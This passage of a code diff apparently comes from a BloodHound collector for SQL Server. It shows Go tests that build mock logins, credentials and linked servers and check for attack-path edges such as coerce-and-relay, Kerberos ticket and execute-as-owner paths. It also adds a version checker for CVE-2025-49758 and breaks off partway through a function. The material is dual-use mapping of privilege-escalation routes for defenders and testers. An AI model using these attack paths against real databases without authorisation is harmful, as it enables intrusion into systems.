+ SQLServerName: "testserver.domain.com:1433",
+ MappedCredential: &types.Credential{
+ CredentialID: 1,
+ Name: "TestCredential",
+ CredentialIdentity: "DOMAIN\\creduser",
+ ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5001",
+ },
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ // Login authorized to use proxy
+ {
+ ObjectIdentifier: "TestLogin_WithProxy@" + serverOID,
+ PrincipalID: 260,
+ Name: "TestLogin_WithProxy",
+ TypeDescription: "SQL_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "",
+ IsActiveDirectoryPrincipal: false,
+ SQLServerName: "testserver.domain.com:1433",
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ },
+ },
+ Databases: []types.Database{
+ {
+ ObjectIdentifier: serverOID + "\\master",
+ DatabaseID: 1,
+ Name: "master",
+ OwnerLoginName: "sa",
+ OwnerObjectIdentifier: "sa@" + serverOID,
+ IsTrustworthy: false,
+ SQLServerName: "testserver.domain.com:1433",
+ DatabasePrincipals: []types.DatabasePrincipal{
+ {
+ ObjectIdentifier: "dbo@" + serverOID + "\\master",
+ PrincipalID: 1,
+ Name: "dbo",
+ TypeDescription: "SQL_USER",
+ DatabaseName: "master",
+ SQLServerName: "testserver.domain.com:1433",
+ ServerLogin: &types.ServerLoginRef{
+ ObjectIdentifier: "sa@" + serverOID,
+ Name: "sa",
+ PrincipalID: 1,
+ },
+ },
+ {
+ ObjectIdentifier: "db_owner@" + serverOID + "\\master",
+ PrincipalID: 16384,
+ Name: "db_owner",
+ TypeDescription: "DATABASE_ROLE",
+ IsFixedRole: true,
+ DatabaseName: "master",
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ },
+ },
+ // Trustworthy database for ExecuteAsOwner test
+ {
+ ObjectIdentifier: serverOID + "\\TrustDB",
+ DatabaseID: 5,
+ Name: "TrustDB",
+ OwnerLoginName: "DOMAIN\\testadmin",
+ OwnerObjectIdentifier: "DOMAIN\\testadmin@" + serverOID,
+ IsTrustworthy: true,
+ SQLServerName: "testserver.domain.com:1433",
+ DatabasePrincipals: []types.DatabasePrincipal{
+ {
+ ObjectIdentifier: "dbo@" + serverOID + "\\TrustDB",
+ PrincipalID: 1,
+ Name: "dbo",
+ TypeDescription: "SQL_USER",
+ DatabaseName: "TrustDB",
+ SQLServerName: "testserver.domain.com:1433",
+ },
+ },
+ },
+ // Database with DB-scoped credential
+ {
+ ObjectIdentifier: serverOID + "\\CredDB",
+ DatabaseID: 6,
+ Name: "CredDB",
+ OwnerLoginName: "sa",
+ OwnerObjectIdentifier: "sa@" + serverOID,
+ IsTrustworthy: false,
+ SQLServerName: "testserver.domain.com:1433",
+ DBScopedCredentials: []types.DBScopedCredential{
+ {
+ CredentialID: 1,
+ Name: "DBScopedCred",
+ CredentialIdentity: "DOMAIN\\dbcreduser",
+ ResolvedSID: "S-1-5-21-1234567890-1234567890-1234567890-5003",
+ CreateDate: time.Now(),
+ ModifyDate: time.Now(),
+ },
+ },
+ },
+ },
+ LinkedServers: []types.LinkedServer{
+ {
+ ServerID: 1,
+ Name: "LINKED_SERVER",
+ Product: "SQL Server",
+ Provider: "SQLNCLI11",
+ DataSource: "linkedserver.domain.com",
+ IsLinkedServer: true,
+ IsRPCOutEnabled: true,
+ IsDataAccessEnabled: true,
+ },
+ // Linked server with admin privileges for LinkedAsAdmin test
+ {
+ ServerID: 2,
+ Name: "ADMIN_LINKED_SERVER",
+ Product: "SQL Server",
+ Provider: "SQLNCLI11",
+ DataSource: "adminlinkedserver.domain.com",
+ IsLinkedServer: true,
+ IsRPCOutEnabled: true,
+ IsDataAccessEnabled: true,
+ RemoteLogin: "admin_sql_login",
+ RemoteIsSysadmin: true,
+ RemoteIsMixedMode: true,
+ ResolvedObjectIdentifier: "S-1-5-21-9999999999-9999999999-9999999999-1001:1433",
+ },
+ },
+ }
+}
+
+// createMockServerInfoWithComputerLogin creates a mock ServerInfo with a computer account login
+// for testing CoerceAndRelayToMSSQL edge
+func createMockServerInfoWithComputerLogin() *types.ServerInfo {
+ info := createMockServerInfo()
+ serverOID := info.ObjectIdentifier
+
+ // Add a computer account login
+ info.ServerPrincipals = append(info.ServerPrincipals, types.ServerPrincipal{
+ ObjectIdentifier: "DOMAIN\\WORKSTATION1$@" + serverOID,
+ PrincipalID: 500,
+ Name: "DOMAIN\\WORKSTATION1$",
+ TypeDescription: "WINDOWS_LOGIN",
+ IsDisabled: false,
+ IsFixedRole: false,
+ SecurityIdentifier: "S-1-5-21-1234567890-1234567890-1234567890-3001",
+ IsActiveDirectoryPrincipal: true,
+ SQLServerName: "testserver.domain.com:1433",
+ Permissions: []types.Permission{
+ {Permission: "CONNECT SQL", State: "GRANT", ClassDesc: "SERVER"},
+ },
+ })
+
+ return info
+}
+
+// verifyEdges checks that all expected edges are present
+func verifyEdges(t *testing.T, edges []bloodhound.Edge, nodes []bloodhound.Node) {
+ // Build edge lookup
+ edgesByKind := make(map[string][]bloodhound.Edge)
+ for _, edge := range edges {
+ edgesByKind[edge.Kind] = append(edgesByKind[edge.Kind], edge)
+ }
+
+ // Test: MSSQL_Contains edges
+ t.Run("Contains edges", func(t *testing.T) {
+ containsEdges := edgesByKind[bloodhound.EdgeKinds.Contains]
+ if len(containsEdges) == 0 {
+ t.Error("Expected MSSQL_Contains edges, got none")
+ }
+ // Check server contains databases
+ found := false
+ for _, e := range containsEdges {
+ if strings.HasSuffix(e.End.Value, "\\master") {
+ found = true
+ break
+ }
+ }
+ if !found {
+ t.Error("Expected MSSQL_Contains edge from server to master database")
+ }
+ })
+
+ // Test: MSSQL_MemberOf edges
+ t.Run("MemberOf edges", func(t *testing.T) {
+ memberOfEdges := edgesByKind[bloodhound.EdgeKinds.MemberOf]
+ if len(memberOfEdges) == 0 {
+ t.Error("Expected MSSQL_MemberOf edges, got none")
+ }
+ // Check sa is member of sysadmin
+ found := false
+ for _, e := range memberOfEdges {
+ if strings.HasPrefix(e.Start.Value, "sa@") && strings.Contains(e.End.Value, "sysadmin@") {
+ found = true
+ break
+ }
+ }
+ if !found {
+ t.Error("Expected MSSQL_MemberOf edge from sa to sysadmin")
+ }
+ })
+
+ // Test: MSSQL_Owns edges
+ t.Run("Owns edges", func(t *testing.T) {
+ ownsEdges := edgesByKind[bloodhound.EdgeKinds.Owns]
+ if len(ownsEdges) == 0 {
+ t.Error("Expected MSSQL_Owns edges, got none")
+ }
+ })
+
+ // Test: MSSQL_ControlServer edges (from sysadmin role)
+ t.Run("ControlServer edges", func(t *testing.T) {
+ controlServerEdges := edgesByKind[bloodhound.EdgeKinds.ControlServer]
+ if len(controlServerEdges) == 0 {
+ t.Error("Expected MSSQL_ControlServer edges, got none")
+ }
+ // Check sysadmin has ControlServer
+ found := false
+ for _, e := range controlServerEdges {
+ if strings.Contains(e.Start.Value, "sysadmin@") {
+ found = true
+ break
+ }
+ }
+ if !found {
+ t.Error("Expected MSSQL_ControlServer edge from sysadmin")
+ }
+ })
+
+ // Test: MSSQL_ImpersonateAnyLogin edges
+ t.Run("ImpersonateAnyLogin edges", func(t *testing.T) {
+ impersonateEdges := edgesByKind[bloodhound.EdgeKinds.ImpersonateAnyLogin]
+ if len(impersonateEdges) == 0 {
+ t.Error("Expected MSSQL_ImpersonateAnyLogin edges, got none")
+ }
+ })
+
+ // Test: MSSQL_HasLogin edges
+ t.Run("HasLogin edges", func(t *testing.T) {
+ hasLoginEdges := edgesByKind[bloodhound.EdgeKinds.HasLogin]
+ if len(hasLoginEdges) == 0 {
+ t.Error("Expected MSSQL_HasLogin edges, got none")
+ }
+ // Check domain user has login
+ found := false
+ for _, e := range hasLoginEdges {
+ if strings.HasPrefix(e.Start.Value, "S-1-5-21-") {
+ found = true
+ break
+ }
+ }
+ if !found {
+ t.Error("Expected MSSQL_HasLogin edge from AD SID to login")
+ }
+ })
+
+ // Test: MSSQL_ServiceAccountFor edges
+ t.Run("ServiceAccountFor edges", func(t *testing.T) {
+ saEdges := edgesByKind[bloodhound.EdgeKinds.ServiceAccountFor]
+ if len(saEdges) == 0 {
+ t.Error("Expected MSSQL_ServiceAccountFor edges, got none")
+ }
+ })
+
+ // Test: MSSQL_GetAdminTGS edges
+ t.Run("GetAdminTGS edges", func(t *testing.T) {
+ getAdminTGSEdges := edgesByKind[bloodhound.EdgeKinds.GetAdminTGS]
+ if len(getAdminTGSEdges) == 0 {
+ t.Error("Expected MSSQL_GetAdminTGS edges, got none")
+ }
+ })
+
+ // Test: MSSQL_GetTGS edges
+ t.Run("GetTGS edges", func(t *testing.T) {
+ getTGSEdges := edgesByKind[bloodhound.EdgeKinds.GetTGS]
+ if len(getTGSEdges) == 0 {
+ t.Error("Expected MSSQL_GetTGS edges, got none")
+ }
+ })
+
+ // Test: MSSQL_IsTrustedBy edges (for trustworthy database)
+ t.Run("IsTrustedBy edges", func(t *testing.T) {
+ trustEdges := edgesByKind[bloodhound.EdgeKinds.IsTrustedBy]
+ if len(trustEdges) == 0 {
+ t.Error("Expected MSSQL_IsTrustedBy edges for trustworthy database, got none")
+ }
+ })
+
+ // Test: MSSQL_ExecuteAsOwner edges (for trustworthy database owned by sysadmin)
+ t.Run("ExecuteAsOwner edges", func(t *testing.T) {
+ executeAsOwnerEdges := edgesByKind[bloodhound.EdgeKinds.ExecuteAsOwner]
+ if len(executeAsOwnerEdges) == 0 {
+ t.Error("Expected MSSQL_ExecuteAsOwner edges for trustworthy database, got none")
+ }
+ })
+
+ // Test: MSSQL_HasMappedCred edges
+ t.Run("HasMappedCred edges", func(t *testing.T) {
+ credEdges := edgesByKind[bloodhound.EdgeKinds.HasMappedCred]
+ if len(credEdges) == 0 {
+ t.Error("Expected MSSQL_HasMappedCred edges, got none")
+ }
+ })
+
+ // Test: MSSQL_HasProxyCred edges
+ t.Run("HasProxyCred edges", func(t *testing.T) {
+ proxyEdges := edgesByKind[bloodhound.EdgeKinds.HasProxyCred]
+ if len(proxyEdges) == 0 {
+ t.Error("Expected MSSQL_HasProxyCred edges, got none")
+ }
+ })
+
+ // Test: MSSQL_HasDBScopedCred edges
+ t.Run("HasDBScopedCred edges", func(t *testing.T) {
+ dbCredEdges := edgesByKind[bloodhound.EdgeKinds.HasDBScopedCred]
+ if len(dbCredEdges) == 0 {
+ t.Error("Expected MSSQL_HasDBScopedCred edges, got none")
+ }
+ })
+
+ // Test: MSSQL_LinkedTo edges
+ t.Run("LinkedTo edges", func(t *testing.T) {
+ linkedEdges := edgesByKind[bloodhound.EdgeKinds.LinkedTo]
+ if len(linkedEdges) == 0 {
+ t.Error("Expected MSSQL_LinkedTo edges, got none")
+ }
+ })
+
+ // Test: MSSQL_LinkedAsAdmin edges (for linked server with admin privileges)
+ t.Run("LinkedAsAdmin edges", func(t *testing.T) {
+ linkedAdminEdges := edgesByKind[bloodhound.EdgeKinds.LinkedAsAdmin]
+ if len(linkedAdminEdges) == 0 {
+ t.Error("Expected MSSQL_LinkedAsAdmin edges for linked server with admin login, got none")
+ }
+ })
+
+ // Test: MSSQL_IsMappedTo edges (login to database user)
+ t.Run("IsMappedTo edges", func(t *testing.T) {
+ mappedEdges := edgesByKind[bloodhound.EdgeKinds.IsMappedTo]
+ if len(mappedEdges) == 0 {
+ t.Error("Expected MSSQL_IsMappedTo edges, got none")
+ }
+ })
+
+ // Print summary
+ t.Logf("Total nodes: %d, Total edges: %d", len(nodes), len(edges))
+ t.Logf("Edge counts by type:")
+ for kind, kindEdges := range edgesByKind {
+ t.Logf(" %s: %d", kind, len(kindEdges))
+ }
+}
+
+// TestEdgeProperties tests that edge properties are correctly set
+func TestEdgeProperties(t *testing.T) {
+ tests := []struct {
+ name string
+ edgeKind string
+ ctx *bloodhound.EdgeContext
+ }{
+ {
+ name: "MemberOf edge",
+ edgeKind: bloodhound.EdgeKinds.MemberOf,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "testuser",
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: "sysadmin",
+ TargetType: bloodhound.NodeKinds.ServerRole,
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "ServiceAccountFor edge",
+ edgeKind: bloodhound.EdgeKinds.ServiceAccountFor,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "DOMAIN\\sqlservice",
+ SourceType: "Base",
+ TargetName: "testserver:1433",
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "HasMappedCred edge",
+ edgeKind: bloodhound.EdgeKinds.HasMappedCred,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "testlogin",
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: "DOMAIN\\creduser",
+ TargetType: "Base",
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "HasProxyCred edge",
+ edgeKind: bloodhound.EdgeKinds.HasProxyCred,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "testlogin",
+ SourceType: bloodhound.NodeKinds.Login,
+ TargetName: "DOMAIN\\proxyuser",
+ TargetType: "Base",
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "HasDBScopedCred edge",
+ edgeKind: bloodhound.EdgeKinds.HasDBScopedCred,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "TestDB",
+ SourceType: bloodhound.NodeKinds.Database,
+ TargetName: "DOMAIN\\dbcreduser",
+ TargetType: "Base",
+ SQLServerName: "testserver:1433",
+ DatabaseName: "TestDB",
+ },
+ },
+ {
+ name: "GetTGS edge",
+ edgeKind: bloodhound.EdgeKinds.GetTGS,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "DOMAIN\\sqlservice",
+ SourceType: "Base",
+ TargetName: "testlogin",
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: "testserver:1433",
+ },
+ },
+ {
+ name: "GetAdminTGS edge",
+ edgeKind: bloodhound.EdgeKinds.GetAdminTGS,
+ ctx: &bloodhound.EdgeContext{
+ SourceName: "DOMAIN\\sqlservice",
+ SourceType: "Base",
+ TargetName: "testserver:1433",
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: "testserver:1433",
+ },
+ },
+ }
+
+ for _, tt := range tests {
+ t.Run(tt.name, func(t *testing.T) {
+ props := bloodhound.GetEdgeProperties(tt.edgeKind, tt.ctx)
+
+ // Check that properties are set
+ if props["general"] == nil || props["general"] == "" {
+ t.Error("Expected 'general' property to be set")
+ }
+ if props["windowsAbuse"] == nil {
+ t.Error("Expected 'windowsAbuse' property to be set")
+ }
+ if props["linuxAbuse"] == nil {
+ t.Error("Expected 'linuxAbuse' property to be set")
+ }
+ if props["traversable"] == nil {
+ t.Error("Expected 'traversable' property to be set")
+ }
+ })
+ }
+}
+
+// TestNodeKinds tests that node kinds are correctly assigned
+func TestNodeKinds(t *testing.T) {
+ tests := []struct {
+ typeDesc string
+ expectedKind string
+ isServerType bool
+ }{
+ {"SERVER_ROLE", bloodhound.NodeKinds.ServerRole, true},
+ {"SQL_LOGIN", bloodhound.NodeKinds.Login, true},
+ {"WINDOWS_LOGIN", bloodhound.NodeKinds.Login, true},
+ {"WINDOWS_GROUP", bloodhound.NodeKinds.Login, true},
+ {"DATABASE_ROLE", bloodhound.NodeKinds.DatabaseRole, false},
+ {"SQL_USER", bloodhound.NodeKinds.DatabaseUser, false},
+ {"WINDOWS_USER", bloodhound.NodeKinds.DatabaseUser, false},
+ {"APPLICATION_ROLE", bloodhound.NodeKinds.ApplicationRole, false},
+ }
+
+ c := New(&Config{})
+
+ for _, tt := range tests {
+ t.Run(tt.typeDesc, func(t *testing.T) {
+ var kind string
+ if tt.isServerType {
+ kind = c.getServerPrincipalType(tt.typeDesc)
+ } else {
+ kind = c.getDatabasePrincipalType(tt.typeDesc)
+ }
+ if kind != tt.expectedKind {
+ t.Errorf("Expected %s, got %s for type %s", tt.expectedKind, kind, tt.typeDesc)
+ }
+ })
+ }
+}
+
+// TestOutputFormat tests that the output JSON is valid BloodHound format
+func TestOutputFormat(t *testing.T) {
+ // Create a temporary directory for output
+ tmpDir, err := os.MkdirTemp("", "mssqlhound-test")
+ if err != nil {
+ t.Fatalf("Failed to create temp dir: %v", err)
+ }
+ defer os.RemoveAll(tmpDir)
+
+ outputPath := filepath.Join(tmpDir, "test-output.json")
+ writer, err := bloodhound.NewStreamingWriter(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to create writer: %v", err)
+ }
+
+ // Write a test node
+ node := &bloodhound.Node{
+ ID: "test-node-1",
+ Kinds: []string{"MSSQL_Server", "Base"},
+ Properties: map[string]interface{}{
+ "name": "TestServer",
+ "enabled": true,
+ },
+ }
+ if err := writer.WriteNode(node); err != nil {
+ t.Fatalf("Failed to write node: %v", err)
+ }
+
+ // Write a test edge
+ edge := &bloodhound.Edge{
+ Start: bloodhound.EdgeEndpoint{Value: "source-1"},
+ End: bloodhound.EdgeEndpoint{Value: "target-1"},
+ Kind: "MSSQL_Contains",
+ Properties: map[string]interface{}{
+ "traversable": true,
+ },
+ }
+ if err := writer.WriteEdge(edge); err != nil {
+ t.Fatalf("Failed to write edge: %v", err)
+ }
+
+ if err := writer.Close(); err != nil {
+ t.Fatalf("Failed to close writer: %v", err)
+ }
+
+ // Read and validate the output
+ data, err := os.ReadFile(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to read output: %v", err)
+ }
+
+ var output struct {
+ Schema string `json:"$schema"`
+ Metadata struct {
+ SourceKind string `json:"source_kind"`
+ } `json:"metadata"`
+ Graph struct {
+ Nodes []json.RawMessage `json:"nodes"`
+ Edges []json.RawMessage `json:"edges"`
+ } `json:"graph"`
+ }
+
+ if err := json.Unmarshal(data, &output); err != nil {
+ t.Fatalf("Output is not valid JSON: %v", err)
+ }
+
+ // Verify structure
+ if output.Schema == "" {
+ t.Error("Expected $schema to be set")
+ }
+ if output.Metadata.SourceKind != "MSSQL_Base" {
+ t.Errorf("Expected source_kind to be MSSQL_Base, got %s", output.Metadata.SourceKind)
+ }
+ if len(output.Graph.Nodes) != 1 {
+ t.Errorf("Expected 1 node, got %d", len(output.Graph.Nodes))
+ }
+ if len(output.Graph.Edges) != 1 {
+ t.Errorf("Expected 1 edge, got %d", len(output.Graph.Edges))
+ }
+}
+
+// TestCoerceAndRelayEdge tests that CoerceAndRelayToMSSQL edges are created
+// when Extended Protection is Off and a computer account has a login
+func TestCoerceAndRelayEdge(t *testing.T) {
+ // Create a temporary directory for output
+ tmpDir, err := os.MkdirTemp("", "mssqlhound-test")
+ if err != nil {
+ t.Fatalf("Failed to create temp dir: %v", err)
+ }
+ defer os.RemoveAll(tmpDir)
+
+ // Create a mock server info with a computer account login
+ serverInfo := createMockServerInfoWithComputerLogin()
+
+ // Create collector with a domain specified (needed for CoerceAndRelay)
+ config := &Config{
+ TempDir: tmpDir,
+ Domain: "domain.com",
+ IncludeNontraversableEdges: true,
+ }
+ c := New(config)
+
+ // Create output file
+ outputPath := filepath.Join(tmpDir, "test-output.json")
+ writer, err := bloodhound.NewStreamingWriter(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to create writer: %v", err)
+ }
+
+ // Write nodes
+ serverNode := c.createServerNode(serverInfo)
+ if err := writer.WriteNode(serverNode); err != nil {
+ t.Fatalf("Failed to write server node: %v", err)
+ }
+
+ for _, principal := range serverInfo.ServerPrincipals {
+ principalNode := c.createServerPrincipalNode(&principal, serverInfo)
+ if err := writer.WriteNode(principalNode); err != nil {
+ t.Fatalf("Failed to write server principal node: %v", err)
+ }
+ }
+
+ // Create edges
+ if err := c.createEdges(writer, serverInfo); err != nil {
+ t.Fatalf("Failed to create edges: %v", err)
+ }
+
+ // Close writer
+ if err := writer.Close(); err != nil {
+ t.Fatalf("Failed to close writer: %v", err)
+ }
+
+ // Read and verify output
+ _, edges, err := bloodhound.ReadFromFile(outputPath)
+ if err != nil {
+ t.Fatalf("Failed to read output: %v", err)
+ }
+
+ // Check for CoerceAndRelayToMSSQL edge
+ found := false
+ for _, edge := range edges {
+ if edge.Kind == bloodhound.EdgeKinds.CoerceAndRelayTo {
+ found = true
+ // Verify it's from Authenticated Users to the computer login
+ if !strings.Contains(edge.Start.Value, "S-1-5-11") {
+ t.Errorf("Expected CoerceAndRelayToMSSQL source to be Authenticated Users SID, got %s", edge.Start.Value)
+ }
+ if !strings.Contains(edge.End.Value, "WORKSTATION1$") {
+ t.Errorf("Expected CoerceAndRelayToMSSQL target to be computer login, got %s", edge.End.Value)
+ }
+ break
+ }
+ }
+
+ if !found {
+ t.Error("Expected CoerceAndRelayToMSSQL edge for computer login with EPA Off, got none")
+ t.Logf("Edges found: %d", len(edges))
+ for _, edge := range edges {
+ t.Logf(" %s: %s -> %s", edge.Kind, edge.Start.Value, edge.End.Value)
+ }
+ }
+}
+
+// TestLinkedAsAdminEdgeProperties tests that LinkedAsAdmin edge properties are correctly set
+func TestLinkedAsAdminEdgeProperties(t *testing.T) {
+ ctx := &bloodhound.EdgeContext{
+ SourceName: "SourceServer",
+ SourceType: bloodhound.NodeKinds.Server,
+ TargetName: "TargetServer",
+ TargetType: bloodhound.NodeKinds.Server,
+ SQLServerName: "sourceserver.domain.com:1433",
+ }
+
+ props := bloodhound.GetEdgeProperties(bloodhound.EdgeKinds.LinkedAsAdmin, ctx)
+
+ if props["traversable"] != true {
+ t.Error("Expected LinkedAsAdmin to be traversable")
+ }
+ if props["general"] == nil || props["general"] == "" {
+ t.Error("Expected 'general' property to be set")
+ }
+ if props["windowsAbuse"] == nil {
+ t.Error("Expected 'windowsAbuse' property to be set")
+ }
+}
+
+// TestCoerceAndRelayEdgeProperties tests that CoerceAndRelayToMSSQL edge properties are correctly set
+func TestCoerceAndRelayEdgeProperties(t *testing.T) {
+ ctx := &bloodhound.EdgeContext{
+ SourceName: "AUTHENTICATED USERS",
+ SourceType: "Group",
+ TargetName: "DOMAIN\\COMPUTER$",
+ TargetType: bloodhound.NodeKinds.Login,
+ SQLServerName: "sqlserver.domain.com:1433",
+ }
+
+ props := bloodhound.GetEdgeProperties(bloodhound.EdgeKinds.CoerceAndRelayTo, ctx)
+
+ if props["traversable"] != true {
+ t.Error("Expected CoerceAndRelayToMSSQL to be traversable")
+ }
+ if props["general"] == nil || props["general"] == "" {
+ t.Error("Expected 'general' property to be set")
+ }
+ if props["windowsAbuse"] == nil {
+ t.Error("Expected 'windowsAbuse' property to be set")
+ }
+}
diff --git a/go/internal/collector/cve.go b/go/internal/collector/cve.go
new file mode 100644
index 0000000..b3de393
--- /dev/null
+++ b/go/internal/collector/cve.go
@@ -0,0 +1,299 @@
+// Package collector provides CVE vulnerability checking for SQL Server.
+package collector
+
+import (
+ "fmt"
+ "regexp"
+ "strconv"
+ "strings"
+)
+
+// SQLVersion represents a parsed SQL Server version
+type SQLVersion struct {
+ Major int
+ Minor int
+ Build int
+ Revision int
+}
+
+// Compare compares two SQLVersions. Returns -1 if v < other, 0 if equal, 1 if v > other
+func (v SQLVersion) Compare(other SQLVersion) int {
+ if v.Major != other.Major {
+ if v.Major < other.Major {
+ return -1
+ }
+ return 1
+ }
+ if v.Minor != other.Minor {
+ if v.Minor < other.Minor {
+ return -1
+ }
+ return 1
+ }
+ if v.Build != other.Build {
+ if v.Build < other.Build {
+ return -1
+ }
+ return 1
+ }
+ if v.Revision != other.Revision {
+ if v.Revision < other.Revision {
+ return -1
+ }
+ return 1
+ }
+ return 0
+}
+
+func (v SQLVersion) String() string {
+ return fmt.Sprintf("%d.%d.%d.%d", v.Major, v.Minor, v.Build, v.Revision)
+}
+
+// LessThan returns true if v < other
+func (v SQLVersion) LessThan(other SQLVersion) bool {
+ return v.Compare(other) < 0
+}
+
+// LessThanOrEqual returns true if v <= other
+func (v SQLVersion) LessThanOrEqual(other SQLVersion) bool {
+ return v.Compare(other) <= 0
+}
+
+// GreaterThanOrEqual returns true if v >= other
+func (v SQLVersion) GreaterThanOrEqual(other SQLVersion) bool {
+ return v.Compare(other) >= 0
+}
+
+// SecurityUpdate represents a SQL Server security update for CVE-2025-49758
+type SecurityUpdate struct {
+ Name string
+ KB string
+ MinAffected SQLVersion
+ MaxAffected SQLVersion
+ PatchedAt SQLVersion
+}
+
+// CVE202549758Updates contains the security updates that fix CVE-2025-49758
+var CVE202549758Updates = []SecurityUpdate{
+ // SQL Server 2022
+ {
+ Name: "SQL 2022 CU20+GDR",
+ KB: "5063814",
+ MinAffected: SQLVersion{16, 0, 4003, 1},
+ MaxAffected: SQLVersion{16, 0, 4205, 1},
+ PatchedAt: SQLVersion{16, 0, 4210, 1},
+ },
+ {
+ Name: "SQL 2022 RTM+GDR",
+ KB: "5063756",
+ MinAffected: SQLVersion{16, 0, 1000, 6},
+ MaxAffected: SQLVersion{16, 0, 1140, 6},
+ PatchedAt: SQLVersion{16, 0, 1145, 1},
+ },
+
+ // SQL Server 2019
+ {
+ Name: "SQL 2019 CU32+GDR",
+ KB: "5063757",
+ MinAffected: SQLVersion{15, 0, 4003, 23},
+ MaxAffected: SQLVersion{15, 0, 4435, 7},
+ PatchedAt: SQLVersion{15, 0, 4440, 1},
+ },
+ {
+ Name: "SQL 2019 RTM+GDR",
+ KB: "5063758",
+ MinAffected: SQLVersion{15, 0, 2000, 5},
+ MaxAffected: SQLVersion{15, 0, 2135, 5},
+ PatchedAt: SQLVersion{15, 0, 2140, 1},
+ },
+
+ // SQL Server 2017
+ {
+ Name: "SQL 2017 CU31+GDR",
+ KB: "5063759",
+ MinAffected: SQLVersion{14, 0, 3006, 16},
+ MaxAffected: SQLVersion{14, 0, 3495, 9},
+ PatchedAt: SQLVersion{14, 0, 3500, 1},
+ },
+ {
+ Name: "SQL 2017 RTM+GDR",
+ KB: "5063760",
+ MinAffected: SQLVersion{14, 0, 1000, 169},
+ MaxAffected: SQLVersion{14, 0, 2075, 8},
+ PatchedAt: SQLVersion{14, 0, 2080, 1},
+ },
+
+ // SQL Server 2016
+ {
+ Name: "SQL 2016 Azure Connect Feature Pack",
+ KB: "5063761",
+ MinAffected: SQLVersion{13, 0, 7000, 253},
+ MaxAffected: SQLVersion{13, 0, 7055, 9},
+ PatchedAt: SQLVersion{13, 0, 7060, 1},
+ },
+ {
+ Name: "SQL 2016 SP3 RTM+GDR",
+ KB: "5063762",
+ MinAffected: SQLVersion{13, 0, 6300, 2},
+ MaxAffected: SQLVersion{13, 0, 6460, 7},
+ PatchedAt: SQLVersion{13, 0, 6465, 1},
+ },
+}
+
+// CVECheckResult holds the result of a CVE vulnerability check
+type CVECheckResult struct {
+ VersionDetected string
+ IsVulnerable bool
+ IsPatched bool
+ UpdateName string
+ KB string
+ RequiredVersion string
+}
+
+// ParseSQLVersion parses a SQL Server version string (e.g., "15.0.2000.5") into SQLVersion
+func ParseSQLVersion(versionStr string) (*SQLVersion, error) {
+ // Clean up the version string
+ versionStr = strings.TrimSpace(versionStr)
+ if versionStr == "" {
+ return nil, fmt.Errorf("empty version string")
+ }
+
+ // Split by dots
+ parts := strings.Split(versionStr, ".")
+ if len(parts) < 2 {
+ return nil, fmt.Errorf("invalid version format: %s", versionStr)
+ }
+
+ v := &SQLVersion{}
+ var err error
+
+ // Parse major version
+ v.Major, err = strconv.Atoi(parts[0])
+ if err != nil {
+ return nil, fmt.Errorf("invalid major version: %s", parts[0])
+ }
+
+ // Parse minor version
+ v.Minor, err = strconv.Atoi(parts[1])
+ if err != nil {
+ return nil, fmt.Errorf("invalid minor version: %s", parts[1])
+ }
+
+ // Parse build number (optional)
+ if len(parts) >= 3 {
+ v.Build, err = strconv.Atoi(parts[2])
+ if err != nil {
+ return nil, fmt.Errorf("invalid build version: %s", parts[2])
+ }
+ }
+
+ // Parse revision (optional)
+ if len(parts) >= 4 {
+ v.Revision, err = strconv.Atoi(parts[3])
+ if err != nil {
+ return nil, fmt.Errorf("invalid revision: %s", parts[3])
+ }
+ }
+
+ return v, nil
+}
+
+// ExtractVersionFromFullVersion extracts numeric version from @@VERSION output
+// e.g., "Microsoft SQL Server 2019 (RTM-CU32) ... - 15.0.4435.7 ..." -> "15.0.4435.7"
+func ExtractVersionFromFullVersion(fullVersion string) string {
+ // Try to find version pattern like "15.0.4435.7"
+ re := regexp.MustCompile(`(\d+\.\d+\.\d+\.\d+)`)
+ matches := re.FindStringSubmatch(fullVersion)
+ if len(matches) >= 2 {
+ return matches[1]
+ }
+
+ // Try simpler pattern like "15.0.4435"
+ re = regexp.MustCompile(`(\d+\.\d+\.\d+)`)
+ matches = re.FindStringSubmatch(fullVersion)
+ if len(matches) >= 2 {
+ return matches[1]
+ }
+
+ return ""
+}
+
+// CheckCVE202549758 checks if a SQL Server version is vulnerable to CVE-2025-49758
+// Reference: https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49758
+func CheckCVE202549758(versionNumber string, fullVersion string) *CVECheckResult {
+ // Try to get version from versionNumber first, then fullVersion
+ versionStr := versionNumber
+ if versionStr == "" && fullVersion != "" {
+ versionStr = ExtractVersionFromFullVersion(fullVersion)
+ }
+
+ if versionStr == "" {
+ return nil
+ }
+
+ sqlVersion, err := ParseSQLVersion(versionStr)
+ if err != nil {
+ return nil
+ }
+
+ result := &CVECheckResult{
+ VersionDetected: sqlVersion.String(),
+ IsVulnerable: false,
+ IsPatched: false,
+ }
+
+ // Check if version is lower than SQL 2016 (version 13.x)
+ // These versions are out of support and vulnerable
+ sql2016Min := SQLVersion{13, 0, 0, 0}
+ if sqlVersion.LessThan(sql2016Min) {
+ result.IsVulnerable = true
+ result.UpdateName = "SQL Server < 2016"
+ result.KB = "N/A"
